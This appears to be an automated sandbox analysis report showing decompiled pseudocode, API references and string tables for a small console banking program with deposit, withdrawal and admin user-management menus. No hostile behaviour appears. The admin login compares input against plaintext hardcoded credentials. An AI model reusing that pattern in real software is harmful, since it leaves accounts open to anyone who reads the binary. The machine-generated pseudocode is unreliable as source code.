							if(_t99 == 0) {
								_v12 = _v12 + 1;
							}
						}
					}
					_t111 =  *0xee2f28; // 0x0
					_push(_t111);
					E00EC6DB6(_t108, _t121, _t122, __eflags);
					_t130 = _t129 + 4;
					E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
					__eflags = _v12;
					if(__eflags == 0) {
						goto L10;
					}
					break;
					L10:
					E00EC12B0(0xa, 0xa);
					_push(0xedfbf8);
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t123 = _t130 + 4;
					__eflags = 1;
				} while (1 != 0);
				E00EC8417(__eflags,  &_v80);
				_t131 = _t130 + 4;
				E00EC3AB0(_t108, _t121, _t122, _t148);
				do {
					E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
					E00EC12B0(0xf, 8);
					_push("1. Create New Account\n");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xa);
					_push("2. Cash Deposit");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xc);
					_push("3. Cash Withdrawl");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0xe);
					_push("4. Fund Transfer");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0xf, 0x10);
					_push("5. Account information");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 8);
					_push("6. Transaction information");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 0xa);
					_push("7. Log out");
					E00EC715C(_t108, _t121, _t122, __eflags);
					E00EC12B0(0x2d, 0xc);
					_push("8. Exit");
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t139 = _t131 + 0x20;
					E00EC12B0(1, 0x11);
					_v24 = 0;
					while(1) {
						__eflags = _v24 - 0x4e;
						if(__eflags >= 0) {
							break;
						}
						_push("_");
						E00EC715C(_t108, _t121, _t122, __eflags);
						_t139 = _t139 + 4;
						_t111 = _v24 + 1;
						__eflags = _t111;
						_v24 = _t111;
					}
					E00EC12B0(0x17, 0x13);
					_push("Press a choice between the range [1-8] ");
					E00EC715C(_t108, _t121, _t122, __eflags);
					_t131 = _t139 + 4;
					_v16 = 0x30;
					_v16 = _v16 - 1;
					__eflags = _v16 - 7;
					if(__eflags > 0) {
						E00EC20E0(_t111, _t121, _t122, __eflags, _t148);
						E00EC12B0(0xa, 0xa);
						_push("Your input is out of range! Enter a choice between 1 to 8!");
						E00EC715C(_t108, _t121, _t122, __eflags);
						E00EC12B0(0xf, 0xc);
						_push("Press any key to return to main menu...");
						E00EC715C(_t108, _t121, _t122, __eflags);
						_t131 = _t131 + 8;
					} else {
						switch( *((intOrPtr*)(_v16 * 4 +  &M00EC3A88))) {
							case 0:
								E00EC3DE0(_t108, _t111, _t121, _t122, __eflags, _t148);
								goto L35;
							case 1:
								__eax = E00EC4640(__ebx, __ecx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 2:
								__eax = E00EC49E0(__ebx, __ecx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 3:
								__eax = E00EC4E90(__ebx, __edi, __esi, __eflags, __fp0);
								goto L35;
							case 4:
								__eax = E00EC5600(__ebx, __ecx, __eflags, __fp0);
								goto L35;
							case 5:
								__eax = E00EC6190(__ebx, __ecx, __edx, __fp0);
								goto L35;
							case 6:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0) = E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to Log out? <Y/N> : ");
								__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__ecx = _v5;
								__eflags = __ecx - 0x59;
								if(__eflags == 0) {
									L28:
									_t40 =  &_v36; // -15
									_t40 = E00EC8417(__eflags, _t40);
									 *0xee2f28 = E00EC6EF1("LOG.DAT", "a");
									_t41 =  &_v36; // -15
									__ecx = _t41;
									_push(_t41);
									_t42 =  &_v80; // -59
									__edx = _t42;
									_push(_t42);
									_push(0xee2f40);
									_push(0xee2ee0);
									_push("%s %s %s %s\n");
									__eax =  *0xee2f28; // 0x0
									_push(__eax);
									__eax = E00EC6F06(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0x18;
									__ecx =  *0xee2f28; // 0x0
									_push(__ecx);
									__eax = E00EC6DB6(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = E00EC3610(__ebx, __edi, __esi, __fp0);
								} else {
									__edx = _v5;
									__eflags = _v5 - 0x79;
									if(__eflags == 0) {
										goto L28;
									}
								}
								goto L35;
							case 7:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0) = E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to exit? <Y/N> : ");
								__eax = E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__edx = _v5;
								__eflags = _v5 - 0x59;
								if(__eflags == 0) {
									L32:
									_t45 =  &_v36; // -15
									__ecx = _t45;
									__eax = E00EC8417(__eflags, _t45);
									 *0xee2f28 = E00EC6EF1("LOG.DAT", "a");
									_t46 =  &_v36; // -15
									__edx = _t46;
									_push(_t46);
									_t47 =  &_v80; // -59
									__eax = _t47;
									_push(_t47);
									_push(0xee2f40);
									_push(0xee2ee0);
									_push("%s %s %s %s\n");
									__ecx =  *0xee2f28; // 0x0
									_push(__ecx);
									__eax = E00EC6F06(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0x18;
									__edx =  *0xee2f28; // 0x0
									_push(__edx);
									__eax = E00EC6DB6(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eax = E00EC77B1(0);
								} else {
									__eax = _v5;
									__eflags = _v5 - 0x79;
									if(__eflags == 0) {
										goto L32;
									}
								}
								goto L35;
						}
					}
					L35:
					__eflags = 1;
				} while (1 != 0);
				return 1;
			}

APIs

Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC139D
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13DB
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC13FC
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1470
Part of subcall function 00EC1380: _wprintf.LIBCMT ref: 00EC1493

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC3667
_wprintf.LIBCMT ref: 00EC367D

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wscanf.LIBCMT ref: 00EC368F

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

_wprintf.LIBCMT ref: 00EC36A5

Part of subcall function 00EC12F0: _wprintf.LIBCMT ref: 00EC1329

_wprintf.LIBCMT ref: 00EC36D8
_wprintf.LIBCMT ref: 00EC3863
_wprintf.LIBCMT ref: 00EC3879
_wprintf.LIBCMT ref: 00EC38A7

Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E21
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E54
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3E6C
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3E80
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3E94
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3EAA
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3EBB
Part of subcall function 00EC3DE0: _wprintf.LIBCMT ref: 00EC3ED1
Part of subcall function 00EC3DE0: _wscanf.LIBCMT ref: 00EC3EE2

_wprintf.LIBCMT ref: 00EC38BF
_wprintf.LIBCMT ref: 00EC36EE

Part of subcall function 00EC77B1: _doexit.LIBCMT ref: 00EC77BB

_swscanf.LIBCMT ref: 00EC3735
_wprintf.LIBCMT ref: 00EC37A2
__wstrtime.LIBCMT ref: 00EC37BF
_wprintf.LIBCMT ref: 00EC37DF
_wprintf.LIBCMT ref: 00EC37F5
_wprintf.LIBCMT ref: 00EC380B
_wprintf.LIBCMT ref: 00EC3821
_wprintf.LIBCMT ref: 00EC3837
_wprintf.LIBCMT ref: 00EC384D

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Strings

4. Fund Transfer, xrefs: 00EC381C
1. Create New Account, xrefs: 00EC37DA
USER.DAT, xrefs: 00EC3709
Press any key to return to main menu..., xrefs: 00EC3A67
Password : , xrefs: 00EC36A0
Are you sure you want to Log out? <Y/N> : , xrefs: 00EC3935
2. Cash Deposit, xrefs: 00EC37F0
%s %s %s %s, xrefs: 00EC3989
7. Log out, xrefs: 00EC385E
LOG.DAT, xrefs: 00EC39F3
3. Cash Withdrawl, xrefs: 00EC3806
Press a choice between the range [1-8] , xrefs: 00EC38BA
Enter User name : , xrefs: 00EC3678
Your input is out of range! Enter a choice between 1 to 8!, xrefs: 00EC3A51
5. Account information, xrefs: 00EC3832
N, xrefs: 00EC389C
LOG.DAT, xrefs: 00EC3965
%s %s %s %s, xrefs: 00EC3A17
6. Transaction information, xrefs: 00EC3848
Are you sure you want to exit? <Y/N> : , xrefs: 00EC39C3
0, xrefs: 00EC38C7
%s %s %s, xrefs: 00EC372A
Only THREE attempts shall be allowed to enter username and password., xrefs: 00EC3662
Press ENTER to exit the program..., xrefs: 00EC36E9
8. Exit, xrefs: 00EC3874

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$_wscanf$__wstrtime$ConsoleCursorHandlePosition__ftbuf__output_s_l__stbuf_doexit_swscanf_vwscanf
String ID: %s %s %s$%s %s %s %s$%s %s %s %s$0$1. Create New Account$2. Cash Deposit$3. Cash Withdrawl$4. Fund Transfer$5. Account information$6. Transaction information$7. Log out$8. Exit$Are you sure you want to Log out? <Y/N> : $Are you sure you want to exit? <Y/N> : $Enter User name : $LOG.DAT$LOG.DAT$N$Only THREE attempts shall be allowed to enter username and password.$Password : $Press ENTER to exit the program...$Press a choice between the range [1-8] $Press any key to return to main menu...$USER.DAT$Your input is out of range! Enter a choice between 1 to 8!
API String ID: 1611355571-1720101819
Opcode ID: d466deeb01c4e955169bc11a14adecd3d43928425b8914683879a0de8e8d14a4
Instruction ID: 30e192a88be7f11adaff88e8bf1be31310ac7c194d12c73d5add46d41507974a
Opcode Fuzzy Hash: d466deeb01c4e955169bc11a14adecd3d43928425b8914683879a0de8e8d14a4
Instruction Fuzzy Hash: ACA1B5B1E943096AE714BBF08E43F9E71B45B12B00F04613EF546753C2E9B3921B966B

Uniqueness

Uniqueness Score: -1.00%

Function 00EC49E0, Relevance: 65.1, APIs: 17, Strings: 20, Instructions: 328
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00EC49E0(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				char _v5;
				char _v12;
				intOrPtr _v16;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v42;
				char _v62;
				char _v112;
				char _v113;
				char _v125;
				char _v140;
				char _v170;
				char _v200;
				char _v208;
				char _v244;
				char _v324;
				char _v376;
				char _v456;
				void* __ebp;
				intOrPtr _t64;
				intOrPtr _t70;
				intOrPtr _t75;
				void* _t76;
				intOrPtr _t77;
				void* _t81;
				char _t97;
				intOrPtr _t99;
				void* _t104;
				intOrPtr _t105;
				intOrPtr _t110;
				void* _t117;
				void* _t122;
				void* _t127;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr _t168;
				intOrPtr _t173;
				void* _t177;
				void* _t180;
				void* _t184;
				void* _t185;
				void* _t193;
				void* _t195;
				void* _t196;
				void* _t205;

				_t215 = __fp0;
				_t176 = __esi;
				_t175 = __edi;
				_t132 = __ecx;
				_t131 = __ebx;
				_v16 = 0;
				E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
				E00EC12B0(5, 0xa);
				_push("Withdraw from A/C number          : ");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC738B("%s",  &_v28);
				_t64 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t180 = _t177 + 0x14;
				 *0xee2f28 = _t64;
				_t214 = _v16;
				if(_v16 == 0) {
					E00EC20E0(_t132, __edi, __esi, _t214, __fp0);
					E00EC12B0(0x14, 0xc);
					_push("Given A/C number does not exits!");
					return E00EC715C(__ebx, _t175, _t176, _t214);
				}
				E00EC12B0(0x32, 0xa);
				_push( &_v376);
				_push("[ %s ]");
				E00EC715C(__ebx, __edi, __esi, __eflags);
				E00EC12B0(5, 0xc);
				_push("Amount to be Withdrawn (in NRs.)  : ");
				E00EC715C(__ebx, _t175, _t176, __eflags);
				E00EC738B("%f",  &_v12);
				_t70 = E00EC6EF1("ACCOUNT.DAT", "r");
				_t184 = _t180 + 0x1c;
				 *0xee2f28 = _t70;
				_v16 = 0;
				while(1) {
					_push( &_v32);
					_push( &_v36);
					_push( &_v40);
					_push( &_v42);
					_push( &_v140);
					_push( &_v113);
					_push( &_v62);
					_push( &_v112);
					_push( &_v125);
					_push( &_v170);
					_push( &_v200);
					_t75 =  *0xee2f28; // 0x0
					_t76 = E00EC7021(_t75, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
					_t185 = _t184 + 0x38;
					__eflags = _t76 - 0xffffffff;
					if(__eflags == 0) {
						break;
					}
					_t122 = E00EC8230( &_v208,  &_v28);
					_t184 = _t185 + 8;
					__eflags = _t122;
					if(__eflags == 0) {
						asm("movss xmm0, [ebp-0x8]");
						asm("comiss xmm0, [ebp-0x1c]");
						if(__eflags > 0) {
							E00EC20E0( &_v28, _t175, _t176, __eflags, _t215);
							E00EC12B0(0x14, 0xc);
							asm("cvtss2sd xmm0, [ebp-0x1c]");
							asm("movsd [esp], xmm0");
							_push("Sorry, the current balance is Rs. %.2f only!");
							E00EC715C(_t131, _t175, _t176, __eflags);
							E00EC12B0(0x19, 0xe);
							_push("Transaction NOT completed!");
							_t127 = E00EC715C(_t131, _t175, _t176, __eflags);
							_v16 = 1;
							return _t127;
						}
					}
				}
				_t77 =  *0xee2f28; // 0x0
				_push(_t77);
				E00EC6DB6(_t131, _t175, _t176, __eflags);
				E00EC20E0( &_v200, _t175, _t176, __eflags, _t215);
				E00EC12B0(0x1e, 0xa);
				_push("Confirm Transaction");
				_t81 = E00EC715C(_t131, _t175, _t176, __eflags);
				asm("movss xmm0, [ebp-0x8]");
				asm("movss [esp], xmm0");
				E00EC1870(_t81,  &_v244);
				E00EC12B0(3, 0xc);
				_push( &_v376);
				_push( &_v28);
				E00EC715C(_t131, _t175, _t176, __eflags);
				asm("cvtss2sd xmm0, [ebp-0x8]");
				asm("movsd [esp], xmm0");
				E00EC1B30( &_v456, "%s to be Withdrawn from A/C number : %s [%s]",  &_v244);
				E00EC8140( &_v324,  &_v456);
				E00EC8140( &_v324, "]");
				E00EC12B0(0x28 - (E00EC82C0( &_v324) >> 1), 0xe);
				_push( &_v324);
				E00EC7229(_t131, _t175, _t176, __eflags);
				E00EC12B0(8, 0x11);
				_push("Are you sure you want to perform this tranasction? <Y/N>");
				E00EC715C(_t131, _t175, _t176, __eflags);
				_t193 = _t185 + 0x14 - 8 + 0x1c;
				_t97 = _v5;
				__eflags = _t97 - 0x59;
				if(_t97 == 0x59) {
					L10:
					 *0xee2f28 = E00EC6EF1("ACCOUNT.DAT", "r");
					_t99 = E00EC6EF1("TEMP.DAT", "w");
					_t195 = _t193 + 0x10;
					 *0xee2f24 = _t99;
					_v16 = 0;
					while(1) {
						_push( &_v32);
						_push( &_v36);
						_push( &_v40);
						_push( &_v42);
						_push( &_v140);
						_push( &_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_t168 =  *0xee2f28; // 0x0
						_t104 = E00EC7021(_t168, "%s %s %s %s %s %s %c %s %c %f %f %f\n",  &_v208);
						_t196 = _t195 + 0x38;
						__eflags = _t104 - 0xffffffff;
						if(__eflags == 0) {
							break;
						}
						_t117 = E00EC8230( &_v208,  &_v28);
						_t205 = _t196 + 8;
						__eflags = _t117;
						if(__eflags == 0) {
							asm("movss xmm0, [ebp-0x24]");
							asm("subss xmm0, [ebp-0x8]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [0xed8210]");
						asm("comiss xmm0, [ebp-0x24]");
						if(__eflags > 0) {
							asm("movss xmm0, [ebp-0x20]");
							asm("addss xmm0, [ebp-0x24]");
							asm("movss [ebp-0x20], xmm0");
							asm("movss xmm0, [0xed8210]");
							asm("movss [ebp-0x24], xmm0");
						}
						asm("movss xmm0, [ebp-0x24]");
						asm("addss xmm0, [ebp-0x20]");
						asm("movss [ebp-0x1c], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x1c]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x20]");
						asm("movsd [esp], xmm0");
						asm("cvtss2sd xmm0, [ebp-0x24]");
						asm("movsd [esp], xmm0");
						_push(_v42);
						_push( &_v140);
						_push(_v113);
						_push( &_v62);
						_push( &_v112);
						_push( &_v125);
						_push( &_v170);
						_push( &_v200);
						_push( &_v208);
						_push("%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f\n");
						_t173 =  *0xee2f24; // 0x0
						_push(_t173);
						E00EC6F06(_t131, _t175, _t176, __eflags);
						_t195 = _t205 - 0xfffffffffffffff8 + 0x44;
					}
					_t105 =  *0xee2f24; // 0x0
					_push(_t105);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					_t147 =  *0xee2f28; // 0x0
					_push(_t147);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					 *0xee2f28 = E00EC6EF1("TRANSACTION.DAT", "a");
					E00EC8417(__eflags, 0xee2f30);
					_push(0xee2ee4);
					asm("cvtss2sd xmm0, [ebp-0x8]");
					asm("movsd [esp], xmm0");
					_push(0xee2f30);
					_push(0xee2f40);
					_push("Cash+Withdrawn");
					_push( &_v28);
					_push("%s %s %s %s %.2f %s\n");
					_t110 =  *0xee2f28; // 0x0
					_push(_t110);
					E00EC6F06(_t131, _t175, _t176, __eflags);
					_t148 =  *0xee2f28; // 0x0
					_push(_t148);
					E00EC6DB6(_t131, _t175, _t176, __eflags);
					E00EC20E0(_t148, _t175, _t176, __eflags, _t215);
					E00EC12B0(0x14, 0xc);
					_push("Transaction completed successfully!");
					return E00EC715C(_t131, _t175, _t176, __eflags);
				}
				__eflags = _v5 - 0x79;
				if(_v5 == 0x79) {
					goto L10;
				}
				return _t97;
			}

APIs

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC20FF
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC213E
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC215F
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC216C
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2188
Part of subcall function 00EC20E0: __wstrtime.LIBCMT ref: 00EC2195
Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC21C8

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
Part of subcall function 00EC12B0: SetConsoleCursorPosition.KERNEL32(00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D8

_wprintf.LIBCMT ref: 00EC4A03
_wscanf.LIBCMT ref: 00EC4A14

Part of subcall function 00EC738B: _vwscanf.LIBCMT ref: 00EC739C

Part of subcall function 00EC6EF1: __fsopen.LIBCMT ref: 00EC6EFC

_wprintf.LIBCMT ref: 00EC4A4C

Part of subcall function 00EC715C: __stbuf.LIBCMT ref: 00EC71A8
Part of subcall function 00EC715C: __output_s_l.LIBCMT ref: 00EC71C2
Part of subcall function 00EC715C: __ftbuf.LIBCMT ref: 00EC71D6

_wprintf.LIBCMT ref: 00EC4A6E
_wprintf.LIBCMT ref: 00EC4A84
_wscanf.LIBCMT ref: 00EC4A95
_swscanf.LIBCMT ref: 00EC4B02
_wprintf.LIBCMT ref: 00EC4B51
_wprintf.LIBCMT ref: 00EC4B67

Part of subcall function 00EC20E0: _wprintf.LIBCMT ref: 00EC2152

Strings

Given A/C number does not exits!, xrefs: 00EC4A47
Cash+Withdrawn, xrefs: 00EC4E3E
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC4CF3
Transaction NOT completed!, xrefs: 00EC4B62
Amount to be Withdrawn (in NRs.) : , xrefs: 00EC4A7F
ACCOUNT.DAT, xrefs: 00EC4AA2
Transaction completed successfully!, xrefs: 00EC4E77
Sorry, the current balance is Rs. %.2f only!, xrefs: 00EC4B4C
TRANSACTION.DAT, xrefs: 00EC4E03
%s %s %s %s %.2f %s, xrefs: 00EC4E47
%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f, xrefs: 00EC4DC8
ACCOUNT.DAT, xrefs: 00EC4C87
[ %s ], xrefs: 00EC4A69
Withdraw from A/C number : , xrefs: 00EC49FE
TEMP.DAT, xrefs: 00EC4C9E
ACCOUNT.DAT, xrefs: 00EC4A21
Confirm Transaction, xrefs: 00EC4B9C
Are you sure you want to perform this tranasction? <Y/N>, xrefs: 00EC4C5F
%s to be Withdrawn from A/C number : %s [%s], xrefs: 00EC4BD7
%s %s %s %s %s %s %c %s %c %f %f %f, xrefs: 00EC4AF7

Memory Dump Source

Source File: 00000001.00000002.623370794.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000001.00000002.623356578.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623424676.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623455632.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.623472649.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.623495977.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _wprintf$__wstrtime_wscanf$ConsoleCursorHandlePosition__fsopen__ftbuf__output_s_l__stbuf_swscanf_vwscanf
String ID: %s %s %s %s %.2f %s$%s %s %s %s %s %s %c %s %c %.2f %.2f %.2f$%s %s %s %s %s %s %c %s %c %f %f %f$%s %s %s %s %s %s %c %s %c %f %f %f$%s to be Withdrawn from A/C number : %s [%s]$ACCOUNT.DAT$ACCOUNT.DAT$ACCOUNT.DAT$Amount to be Withdrawn (in NRs.) : $Are you sure you want to perform this tranasction? <Y/N>$Cash+Withdrawn$Confirm Transaction$Given A/C number does not exits!$Sorry, the current balance is Rs. %.2f only!$TEMP.DAT$TRANSACTION.DAT$Transaction NOT completed!$Transaction completed successfully!$Withdraw from A/C number : $[ %s ]
API String ID: 427838879-2716176803
Opcode ID: 93dbbc9fd1819853df08c7c6d5648c00c31e7c11fce6f805f92c1e3fe32b5f33
Instruction ID: fe6c82f71a59f1bfc4e3bf4178cb1686794b86b3d4cc0211e5cfb8c859a7cfb6
Opcode Fuzzy Hash: 93dbbc9fd1819853df08c7c6d5648c00c31e7c11fce6f805f92c1e3fe32b5f33
Instruction Fuzzy Hash: 14C1D4B2D1034C6ADB15EBE1CE42FDEB3B8AF59700F04525DF20576181FAB266898F61

Uniqueness

Uniqueness Score: -1.00%

Function 00EC22F0, Relevance: 57.9, APIs: 17, Strings: 16, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00EC22F0(void* __edi, void* __esi, void* __fp0) {
				char _v5;
				char _v6;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				char _v31;
				char _v35;
				char _v39;
				char _v43;
				char _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v60;
				char _v92;
				void* __ebp;
				void* _t50;
				void* _t74;
				void* _t78;
				void* _t85;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t100;
				void* _t101;
				void* _t106;
				void* _t116;

				_t116 = __fp0;
				_t95 = __esi;
				_t94 = __edi;
				_v60 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v43 = 0;
				_v39 = 0;
				_v35 = 0;
				_v31 = 0;
				_v20 = 0;
				_v16 = 0;
				do {
					_v20 = 0;
					E00EC12B0(7, 5);
					_push("Only THREE attempts shall be allowed to enter username and password.");
					E00EC715C(_t85, _t94, _t95, 0);
					E00EC1380(_t94, _t95, 0, 0xa, 8, 0x46, 0xf);
					E00EC12B0(0x17, 0xa);
					_push("Enter User name : ");
					E00EC715C(_t85, _t94, _t95, 0);
					E00EC738B("%s",  &_v92);
					E00EC12B0(0x17, 0xc);
					_push("Password        : ");
					E00EC715C(_t85, _t94, _t95, 0);
					_t100 = _t96 + 0x14;
					E00EC12F0(_t94, _t95,  &_v60);
					_v16 = _v16 + 1;
					_t110 = _v16 - 3;
					if(_v16 == 3) {
						E00EC20E0( &_v92, _t94, _t95, _t110, _t116);
						E00EC12B0(0x19, 8);
						_push(0xedf224);
						E00EC715C(_t85, _t94, _t95, _t110);
						E00EC12B0(0x16, 0xb);
						_push("Press any key to exit the program...");
						E00EC715C(_t85, _t94, _t95, _t110);
						_t100 = _t100 + 8;
						E00EC77B1(0);
					}
					_t87 =  &_v92;
					_t50 = E00EC8230( &_v92, "ADMIN");
					_t101 = _t100 + 8;
					if(_t50 != 0) {
						L6:
						E00EC20E0(_t87, _t94, _t95, __eflags, _t116);
						E00EC12B0(0x19, 0xa);
						_push(0xedf278);
						E00EC715C(_t85, _t94, _t95, __eflags);
						_t96 = _t101 + 4;
					} else {
						_t78 = E00EC8230( &_v60, "IOE");
						_t101 = _t101 + 8;
						if(_t78 != 0) {
							goto L6;
						} else {
							_v20 = 1;
						}
					}
					_t113 = _v20 - 1;
				} while (_v20 != 1);
				do {
					E00EC20E0(_t87, _t94, _t95, _t113, _t116);
					E00EC12B0(0x1e, 8);
					_push("1. Add User");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xa);
					_push("2. Delete User");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xc);
					_push("3. Edit User name / Password");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0xe);
					_push("4. View User Log");
					E00EC715C(_t85, _t94, _t95, _t113);
					E00EC12B0(0x1e, 0x10);
					_push("5. Exit");
					E00EC715C(_t85, _t94, _t95, _t113);
					_t106 = _t96 + 0x14;
					E00EC12B0(1, 0x11);
					_v24 = 0;
					while(1) {
						_t114 = _v24 - 0x4e;
						if(_v24 >= 0x4e) {
							break;
						}
						_push("_");
						E00EC715C(_t85, _t94, _t95, _t114);
						_t106 = _t106 + 4;
						_v24 = _v24 + 1;
					}
					E00EC12B0(0x17, 0x13);
					_push(" Press a number between the range [1 -5]  ");
					E00EC715C(_t85, _t94, _t95, __eflags);
					_t96 = _t106 + 4;
					_t89 = _v6 - 0x30;
					_v28 = _v6 - 0x30;
					_v12 = _v28;
					_v12 = _v12 - 1;
					__eflags = _v12 - 4;
					if(__eflags > 0) {
						E00EC20E0(_t89, _t94, _t95, __eflags, _t116);
						E00EC12B0(0xa, 0xa);
						_push("Your input is out of range! Enter a choice between 1 to 5!");
						E00EC715C(_t85, _t94, _t95, __eflags);
						E00EC12B0(0xf, 0xc);
						_push("Press ENTER to return to main menu...");
						_t74 = E00EC715C(_t85, _t94, _t95, __eflags);
						_t96 = _t96 + 8;
					} else {
						switch( *((intOrPtr*)(_v12 * 4 +  &M00EC25A8))) {
							case 0:
								_t74 = E00EC25C0(_t85, _t94, _t95, _t116);
								goto L23;
							case 1:
								E00EC2800(__ebx, __ecx, __edi, __esi, __fp0);
								goto L23;
							case 2:
								E00EC2B10(__ebx, __edi, __esi, __fp0);
								goto L23;
							case 3:
								E00EC2E80(__ebx, __edx, __eflags, __fp0);
								goto L23;
							case 4:
								E00EC20E0(__ecx, __edi, __esi, __eflags, __fp0);
								E00EC12B0(0xf, 0xa);
								_push("Are you sure you want to exit? <Y/N> : ");
								E00EC715C(__ebx, __edi, __esi, __eflags);
								__esp = __esp + 4;
								__edx = _v5;
								__eflags = _v5 - 0x59;
								if(_v5 == 0x59) {
									L20:
									E00EC77B1(0);
								} else {
									__eflags = _v5 - 0x79;
									if(_v5 == 0x79) {
										goto L20;
									}
								}
								goto L23;
						}
					}
					L23:
					_t87 = 1;
					__eflags = 1;
				} while (1 != 0);
				return _t74;
			}

APIs

Part of subcall function 00EC12B0: GetStdHandle.KERNEL32(000000F5,00000000,?,00EC1393,?,?,?,00EC1238), ref: 00EC12D1
